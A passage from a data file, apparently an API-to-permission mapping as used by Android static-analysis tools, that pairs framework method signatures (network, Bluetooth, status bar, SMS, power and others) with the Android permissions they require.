"Landroid/os/INetworkManagementService$Stub$Proxy;-getInterfaceTxThrottle-(Ljava/lang/String;)":
"ACCESS_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-getIpForwardingEnabled-()":
"ACCESS_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-isTetheringStarted-()":
"ACCESS_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-isUsbRNDISStarted-()":
"ACCESS_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-listInterfaces-()":
"ACCESS_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-listTetheredInterfaces-()":
"ACCESS_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-listTtys-()":
"ACCESS_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-getActiveNetworkInfo-()":
"ACCESS_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-getAllNetworkInfo-()":
"ACCESS_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-getLastTetherError-(Ljava/lang/String;)":
"ACCESS_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-getMobileDataEnabled-()":
"ACCESS_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-getNetworkInfo-(I)":
"ACCESS_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-getNetworkPreference-()":
"ACCESS_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-getTetherableIfaces-()":
"ACCESS_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-getTetherableUsbRegexs-()":
"ACCESS_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-getTetherableWifiRegexs-()":
"ACCESS_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-getTetheredIfaces-()":
"ACCESS_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-getTetheringErroredIfaces-()":
"ACCESS_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-isTetheringSupported-()":
"ACCESS_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-startUsingNetworkFeature-(I Ljava/lang/String; Landroid/os/IBinder;)":
"ACCESS_NETWORK_STATE",
"Landroid/net/IThrottleManager$Stub$Proxy;-getByteCount-(Ljava/lang/String; I I I)":
"ACCESS_NETWORK_STATE",
"Landroid/net/IThrottleManager$Stub$Proxy;-getCliffLevel-(Ljava/lang/String; I)":
"ACCESS_NETWORK_STATE",
"Landroid/net/IThrottleManager$Stub$Proxy;-getCliffThreshold-(Ljava/lang/String; I)":
"ACCESS_NETWORK_STATE",
"Landroid/net/IThrottleManager$Stub$Proxy;-getHelpUri-()": "ACCESS_NETWORK_STATE",
"Landroid/net/IThrottleManager$Stub$Proxy;-getPeriodStartTime-(Ljava/lang/String;)":
"ACCESS_NETWORK_STATE",
"Landroid/net/IThrottleManager$Stub$Proxy;-getResetTime-(Ljava/lang/String;)":
"ACCESS_NETWORK_STATE",
"Landroid/net/IThrottleManager$Stub$Proxy;-getThrottle-(Ljava/lang/String;)":
"ACCESS_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-getActiveNetworkInfo-()": "ACCESS_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-getAllNetworkInfo-()": "ACCESS_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-getLastTetherError-(Ljava/lang/String;)":
"ACCESS_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-getMobileDataEnabled-()": "ACCESS_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-getNetworkInfo-(I)": "ACCESS_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-getNetworkPreference-()": "ACCESS_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-getTetherableIfaces-()": "ACCESS_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-getTetherableUsbRegexs-()": "ACCESS_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-getTetherableWifiRegexs-()": "ACCESS_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-getTetheredIfaces-()": "ACCESS_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-getTetheringErroredIfaces-()":
"ACCESS_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-isTetheringSupported-()": "ACCESS_NETWORK_STATE",
"Landroid/net/http/RequestQueue;-enablePlatformNotifications-()":
"ACCESS_NETWORK_STATE",
"Landroid/net/http/RequestQueue;-setProxyConfig-()": "ACCESS_NETWORK_STATE",
"Landroid/app/IActivityManager$Stub$Proxy;-getRecentTasks-(I I)": "GET_TASKS",
"Landroid/app/IActivityManager$Stub$Proxy;-getTasks-(I I Landroid/app/IThumbnailReceiver;)":
"GET_TASKS",
"Landroid/app/ActivityManagerNative;-getRecentTasks-(I I)": "GET_TASKS",
"Landroid/app/ActivityManagerNative;-getRunningTasks-(I)": "GET_TASKS",
"Landroid/app/ActivityManager;-getRecentTasks-(I I)": "GET_TASKS",
"Landroid/app/ActivityManager;-getRunningTasks-(I)": "GET_TASKS",
"Landroid/app/ActivityManager;-getRecentTasks-(I I)": "GET_TASKS",
"Landroid/app/ActivityManager;-getRunningTasks-(I)": "GET_TASKS",
"Landroid/view/View/OnSystemUiVisibilityChangeListener;-onSystemUiVisibilityChange-(I)":
"STATUS_BAR",
"Landroid/view/View;-STATUS_BAR_HIDDEN-I": "STATUS_BAR",
"Landroid/view/View;-STATUS_BAR_VISIBLE-I": "STATUS_BAR",
"Landroid/app/StatusBarManager;-addIcon-(Ljava/lang/String; I I)": "STATUS_BAR",
"Landroid/app/StatusBarManager;-disable-(I)": "STATUS_BAR",
"Landroid/app/StatusBarManager;-removeIcon-(Landroid/os/IBinder;)": "STATUS_BAR",
"Landroid/app/StatusBarManager;-updateIcon-(Landroid/os/IBinder; Ljava/lang/String; I I)":
"STATUS_BAR",
"Landroid/view/WindowManager/LayoutParams;-TYPE_STATUS_BAR-I": "STATUS_BAR",
"Landroid/view/WindowManager/LayoutParams;-TYPE_STATUS_BAR_PANEL-I": "STATUS_BAR",
"Landroid/view/WindowManager/LayoutParams;-systemUiVisibility-I": "STATUS_BAR",
"Landroid/view/WindowManager/LayoutParams;-type-I": "STATUS_BAR",
"Landroid/app/IStatusBar$Stub$Proxy;-addIcon-(Ljava/lang/String; Ljava/lang/String; I I)":
"STATUS_BAR",
"Landroid/app/IStatusBar$Stub$Proxy;-disable-(I Landroid/os/IBinder; Ljava/lang/String;)":
"STATUS_BAR",
"Landroid/app/IStatusBar$Stub$Proxy;-removeIcon-(Landroid/os/IBinder;)": "STATUS_BAR",
"Landroid/app/IStatusBar$Stub$Proxy;-updateIcon-(Landroid/os/IBinder; Ljava/lang/String; Ljava/lang/String; I I)":
"STATUS_BAR",
"Landroid/app/IActivityManager$Stub$Proxy;-shutdown-(I)": "SHUTDOWN",
"Landroid/os/IMountService$Stub$Proxy;-shutdow-()": "SHUTDOWN",
"Landroid/os/storage/IMountService$Stub$Proxy;-shutdown-(Landroid/os/storage/IMountShutdownObserver;)":
"SHUTDOWN",
"Landroid/os/INetworkManagementService$Stub$Proxy;-shutdown-()": "SHUTDOWN",
"Landroid/os/DropBoxManager;-ACTION_DROPBOX_ENTRY_ADDED-Ljava/lang/String;":
"READ_LOGS",
"Landroid/os/DropBoxManager;-getNextEntry-(Ljava/lang/String; J)": "READ_LOGS",
"Landroid/os/DropBoxManager;-getNextEntry-(Ljava/lang/String; J)": "READ_LOGS",
"Lcom/android/internal/os/IDropBoxManagerService$Stub$Proxy;-getNextEntry-(Ljava/lang/String; J)":
"READ_LOGS",
"Ljava/lang/Runtime;-exec-(Ljava/lang/String;)": "READ_LOGS",
"Ljava/lang/Runtime;-exec-([Ljava/lang/String;)": "READ_LOGS",
"Ljava/lang/Runtime;-exec-([Ljava/lang/String; [Ljava/lang/String;)": "READ_LOGS",
"Ljava/lang/Runtime;-exec-([Ljava/lang/String; [Ljava/lang/String; Ljava/io/File;)":
"READ_LOGS",
"Ljava/lang/Runtime;-exec-(Ljava/lang/String; [Ljava/lang/String;)": "READ_LOGS",
"Ljava/lang/Runtime;-exec-(Ljava/lang/String; [Ljava/lang/String; Ljava/io/File;)":
"READ_LOGS",
"Landroid/os/Process;-BLUETOOTH_GID-I": "BLUETOOTH",
"Landroid/bluetooth/BluetoothA2dp;-ACTION_CONNECTION_STATE_CHANGED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothA2dp;-ACTION_PLAYING_STATE_CHANGED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothA2dp;-getConnectedDevices-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothA2dp;-getConnectionState-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothA2dp;-getDevicesMatchingConnectionStates-([I)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothA2dp;-isA2dpPlaying-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothA2dp;-getConnectedSinks-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothA2dp;-getNonDisconnectedSinks-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothA2dp;-getSinkPriority-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothA2dp;-getSinkState-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothA2dp;-isSinkConnected-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/media/AudioManager;-ROUTE_BLUETOOTH-I": "BLUETOOTH",
"Landroid/media/AudioManager;-ROUTE_BLUETOOTH_A2DP-I": "BLUETOOTH",
"Landroid/media/AudioManager;-ROUTE_BLUETOOTH_SCO-I": "BLUETOOTH",
"Landroid/bluetooth/IBluetoothA2dp$Stub$Proxy;-getConnectedSinks-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetoothA2dp$Stub$Proxy;-getNonDisconnectedSinks-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetoothA2dp$Stub$Proxy;-getSinkPriority-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/IBluetoothA2dp$Stub$Proxy;-getSinkState-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothSocket;-connect-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothPbap;-getClient-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothPbap;-getState-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothPbap;-isConnected-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/provider/Settings/System;-AIRPLANE_MODE_RADIOS-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/provider/Settings/System;-BLUETOOTH_DISCOVERABILITY-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/provider/Settings/System;-BLUETOOTH_DISCOVERABILITY_TIMEOUT-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/provider/Settings/System;-BLUETOOTH_ON-Ljava/lang/String;": "BLUETOOTH",
"Landroid/provider/Settings/System;-RADIO_BLUETOOTH-Ljava/lang/String;": "BLUETOOTH",
"Landroid/provider/Settings/System;-VOLUME_BLUETOOTH_SCO-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/provider/Settings;-ACTION_BLUETOOTH_SETTINGS-Ljava/lang/String;": "BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-addRfcommServiceRecord-(Ljava/lang/String; Landroid/os/ParcelUuid; I Landroid/os/IBinder;)":
"BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-fetchRemoteUuids-(Ljava/lang/String; Landroid/os/ParcelUuid; Landroid/bluetooth/IBluetoothCallback;)":
"BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-getAddress-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-getBluetoothState-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-getBondState-(Ljava/lang/String;)":
"BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-getDiscoverableTimeout-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-getName-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-getRemoteClass-(Ljava/lang/String;)":
"BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-getRemoteName-(Ljava/lang/String;)":
"BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-getRemoteServiceChannel-(Ljava/lang/String; Landroid/os/ParcelUuid;)":
"BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-getRemoteUuids-(Ljava/lang/String;)":
"BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-getScanMode-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-getTrustState-(Ljava/lang/String;)":
"BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-isDiscovering-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-isEnabled-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-listBonds-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-removeServiceRecord-(I)": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-ACTION_CONNECTION_STATE_CHANGED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-ACTION_DISCOVERY_FINISHED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-ACTION_DISCOVERY_STARTED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-ACTION_LOCAL_NAME_CHANGED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-ACTION_REQUEST_DISCOVERABLE-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-ACTION_REQUEST_ENABLE-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-ACTION_SCAN_MODE_CHANGED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-ACTION_STATE_CHANGED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-cancelDiscovery-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-disable-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-enable-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-getAddress-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-getBondedDevices-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-getName-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-getScanMode-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-getState-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-isDiscovering-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-isEnabled-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-listenUsingInsecureRfcommWithServiceRecord-(Ljava/lang/String; Ljava/util/UUID;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-listenUsingRfcommWithServiceRecord-(Ljava/lang/String; Ljava/util/UUID;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-setName-(Ljava/lang/String;)": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-startDiscovery-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-getAddress-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-getBondedDevices-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-getDiscoverableTimeout-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-getName-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-getScanMode-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-getState-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-isDiscovering-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-isEnabled-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAdapter;-listenUsingRfcommWithServiceRecord-(Ljava/lang/String; Ljava/util/UUID;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothProfile;-getConnectedDevices-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothProfile;-getConnectionState-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothProfile;-getDevicesMatchingConnectionStates-([I)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-ACTION_AUDIO_STATE_CHANGED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-ACTION_CONNECTION_STATE_CHANGED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-ACTION_VENDOR_SPECIFIC_HEADSET_EVENT-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-getConnectedDevices-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-getConnectionState-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-getDevicesMatchingConnectionStates-([I)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-isAudioConnected-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-startVoiceRecognition-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-stopVoiceRecognition-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-getBatteryUsageHint-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-getCurrentHeadset-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-getPriority-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-getState-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-isConnected-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-startVoiceRecognition-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothHeadset;-stopVoiceRecognition-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetoothHeadset$Stub$Proxy;-getBatteryUsageHint-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetoothHeadset$Stub$Proxy;-getCurrentHeadset-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetoothHeadset$Stub$Proxy;-getPriority-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/IBluetoothHeadset$Stub$Proxy;-getState-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetoothHeadset$Stub$Proxy;-isConnected-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/bluetooth/IBluetoothHeadset$Stub$Proxy;-startVoiceRecognition-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetoothHeadset$Stub$Proxy;-stopVoiceRecognition-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-ACTION_ACL_CONNECTED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-ACTION_ACL_DISCONNECTED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-ACTION_ACL_DISCONNECT_REQUESTED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-ACTION_BOND_STATE_CHANGED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-ACTION_CLASS_CHANGED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-ACTION_FOUND-Ljava/lang/String;": "BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-ACTION_NAME_CHANGED-Ljava/lang/String;":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-createInsecureRfcommSocketToServiceRecord-(Ljava/util/UUID;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-createRfcommSocketToServiceRecord-(Ljava/util/UUID;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-getBluetoothClass-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-getBondState-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-getName-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-createRfcommSocketToServiceRecord-(Ljava/util/UUID;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-fetchUuidsWithSdp-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-getBondState-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-getName-()": "BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-getServiceChannel-(Landroid/os/ParcelUuid;)":
"BLUETOOTH",
"Landroid/bluetooth/BluetoothDevice;-getUuids-()": "BLUETOOTH",
"Landroid/server/BluetoothA2dpService;-<init>-(Landroid/content/Context; Landroid/server/BluetoothService;)":
"BLUETOOTH",
"Landroid/server/BluetoothA2dpService;-addAudioSink-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/server/BluetoothA2dpService;-getConnectedSinks-()": "BLUETOOTH",
"Landroid/server/BluetoothA2dpService;-getNonDisconnectedSinks-()": "BLUETOOTH",
"Landroid/server/BluetoothA2dpService;-getSinkPriority-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/server/BluetoothA2dpService;-getSinkState-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/server/BluetoothA2dpService;-isSinkDevice-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/server/BluetoothA2dpService;-lookupSinksMatchingStates-([I)": "BLUETOOTH",
"Landroid/server/BluetoothA2dpService;-onConnectSinkResult-(Ljava/lang/String; B)":
"BLUETOOTH",
"Landroid/server/BluetoothA2dpService;-onSinkPropertyChanged-(Ljava/lang/String; [L[Ljava/lang/Strin;)":
"BLUETOOTH",
"Landroid/provider/Settings/Secure;-BLUETOOTH_ON-Ljava/lang/String;": "BLUETOOTH",
"Landroid/bluetooth/IBluetoothPbap$Stub$Proxy;-getClient-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetoothPbap$Stub$Proxy;-getState-()": "BLUETOOTH",
"Landroid/bluetooth/IBluetoothPbap$Stub$Proxy;-isConnected-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH",
"Landroid/server/BluetoothService;-addRemoteDeviceProperties-(Ljava/lang/String; [L[Ljava/lang/Strin;)":
"BLUETOOTH",
"Landroid/server/BluetoothService;-addRfcommServiceRecord-(Ljava/lang/String; Landroid/os/ParcelUuid; I Landroid/os/IBinder;)":
"BLUETOOTH",
"Landroid/server/BluetoothService;-fetchRemoteUuids-(Ljava/lang/String; Landroid/os/ParcelUuid; Landroid/bluetooth/IBluetoothCallback;)":
"BLUETOOTH",
"Landroid/server/BluetoothService;-getAddress-()": "BLUETOOTH",
"Landroid/server/BluetoothService;-getAddressFromObjectPath-(Ljava/lang/String;)":
"BLUETOOTH",
"Landroid/server/BluetoothService;-getAllProperties-()": "BLUETOOTH",
"Landroid/server/BluetoothService;-getBluetoothState-()": "BLUETOOTH",
"Landroid/server/BluetoothService;-getBondState-(Ljava/lang/String;)": "BLUETOOTH",
"Landroid/server/BluetoothService;-getDiscoverableTimeout-()": "BLUETOOTH",
"Landroid/server/BluetoothService;-getName-()": "BLUETOOTH",
"Landroid/server/BluetoothService;-getObjectPathFromAddress-(Ljava/lang/String;)":
"BLUETOOTH",
"Landroid/server/BluetoothService;-getProperty-(Ljava/lang/String;)": "BLUETOOTH",
"Landroid/server/BluetoothService;-getPropertyInternal-(Ljava/lang/String;)":
"BLUETOOTH",
"Landroid/server/BluetoothService;-getRemoteClass-(Ljava/lang/String;)": "BLUETOOTH",
"Landroid/server/BluetoothService;-getRemoteName-(Ljava/lang/String;)": "BLUETOOTH",
"Landroid/server/BluetoothService;-getRemoteServiceChannel-(Ljava/lang/String; Landroid/os/ParcelUuid;)":
"BLUETOOTH",
"Landroid/server/BluetoothService;-getRemoteUuids-(Ljava/lang/String;)": "BLUETOOTH",
"Landroid/server/BluetoothService;-getScanMode-()": "BLUETOOTH",
"Landroid/server/BluetoothService;-getTrustState-(Ljava/lang/String;)": "BLUETOOTH",
"Landroid/server/BluetoothService;-isDiscovering-()": "BLUETOOTH",
"Landroid/server/BluetoothService;-isEnabled-()": "BLUETOOTH",
"Landroid/server/BluetoothService;-listBonds-()": "BLUETOOTH",
"Landroid/server/BluetoothService;-removeServiceRecord-(I)": "BLUETOOTH",
"Landroid/server/BluetoothService;-sendUuidIntent-(Ljava/lang/String;)": "BLUETOOTH",
"Landroid/server/BluetoothService;-setLinkTimeout-(Ljava/lang/String; I)": "BLUETOOTH",
"Landroid/server/BluetoothService;-setPropertyBoolean-(Ljava/lang/String; B)":
"BLUETOOTH",
"Landroid/server/BluetoothService;-setPropertyInteger-(Ljava/lang/String; I)":
"BLUETOOTH",
"Landroid/server/BluetoothService;-setPropertyString-(Ljava/lang/String; Ljava/lang/String;)":
"BLUETOOTH",
"Landroid/server/BluetoothService;-updateDeviceServiceChannelCache-(Ljava/lang/String;)":
"BLUETOOTH",
"Landroid/server/BluetoothService;-updateRemoteDevicePropertiesCache-(Ljava/lang/String;)":
"BLUETOOTH",
"Landroid/content/pm/PackageManager;-FEATURE_BLUETOOTH-Ljava/lang/String;": "BLUETOOTH",
"Landroid/bluetooth/BluetoothAssignedNumbers;-BLUETOOTH_SIG-I": "BLUETOOTH",
"Landroid/app/ActivityManagerNative;-clearApplicationUserData-(Ljava/lang/String; Landroid/content/pm/IPackageDataObserver;)":
"CLEAR_APP_USER_DATA",
"Landroid/app/ContextImpl$ApplicationPackageManager;-clearApplicationUserData-(Ljava/lang/String; LIPackageDataObserver;)":
"CLEAR_APP_USER_DATA",
"Landroid/app/ContextImpl$ApplicationPackageManager;-clearApplicationUserData-(Ljava/lang/String; LIPackageDataObserver;)":
"CLEAR_APP_USER_DATA",
"Landroid/app/ActivityManager;-clearApplicationUserData-(Ljava/lang/String; Landroid/content/pm/IPackageDataObserver;)":
"CLEAR_APP_USER_DATA",
"Landroid/app/IActivityManager$Stub$Proxy;-clearApplicationUserData-(Ljava/lang/String; Landroid/content/pm/IPackageDataObserver;)":
"CLEAR_APP_USER_DATA",
"Landroid/content/pm/PackageManager;-clearApplicationUserData-(Ljava/lang/String; LIPackageDataObserver;)":
"CLEAR_APP_USER_DATA",
"Landroid/content/pm/IPackageManager$Stub$Proxy;-clearApplicationUserData-(Ljava/lang/String; Landroid/content/pm/IPackageDataObserver;)":
"CLEAR_APP_USER_DATA",
"Landroid/provider/Telephony$Sms;-addMessageToUri-(Landroid/content/ContentResolver; Landroid/net/Uri; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/Long; B B J)":
"WRITE_SMS",
"Landroid/provider/Telephony$Sms;-addMessageToUri-(Landroid/content/ContentResolver; Landroid/net/Uri; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/Long; B B)":
"WRITE_SMS",
"Landroid/provider/Telephony$Sms;-moveMessageToFolder-(Landroid/content/Context; Landroid/net/Uri; I I)":
"WRITE_SMS",
"Landroid/provider/Telephony$Sms$Outbox;-addMessage-(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/Long; B J)":
"WRITE_SMS",
"Landroid/provider/Telephony$Sms$Draft;-saveMessage-(Landroid/content/ContentResolver; Landroid/net/Uri; Ljava/lang/String;)":
"WRITE_SMS",
"Landroid/app/IActivityManager$Stub$Proxy;-setProcessForeground-(Landroid/os/IBinder; I B)":
"SET_PROCESS_LIMIT",
"Landroid/app/IActivityManager$Stub$Proxy;-setProcessLimit-(I)": "SET_PROCESS_LIMIT",
"Landroid/os/PowerManager;-goToSleep-(J)": "DEVICE_POWER",
"Landroid/os/PowerManager;-setBacklightBrightness-(I)": "DEVICE_POWER",
"Landroid/os/IPowerManager$Stub$Proxy;-clearUserActivityTimeout-(J J)": "DEVICE_POWER",
"Landroid/os/IPowerManager$Stub$Proxy;-goToSleep-(J)": "DEVICE_POWER",
"Landroid/os/IPowerManager$Stub$Proxy;-goToSleepWithReason-(J I)": "DEVICE_POWER",
"Landroid/os/IPowerManager$Stub$Proxy;-preventScreenOn-(B)": "DEVICE_POWER",
"Landroid/os/IPowerManager$Stub$Proxy;-setAttentionLight-(B I)": "DEVICE_POWER",
"Landroid/os/IPowerManager$Stub$Proxy;-setBacklightBrightness-(I)": "DEVICE_POWER",
"Landroid/os/IPowerManager$Stub$Proxy;-setPokeLock-(I Landroid/os/IBinder; Ljava/lang/String;)":
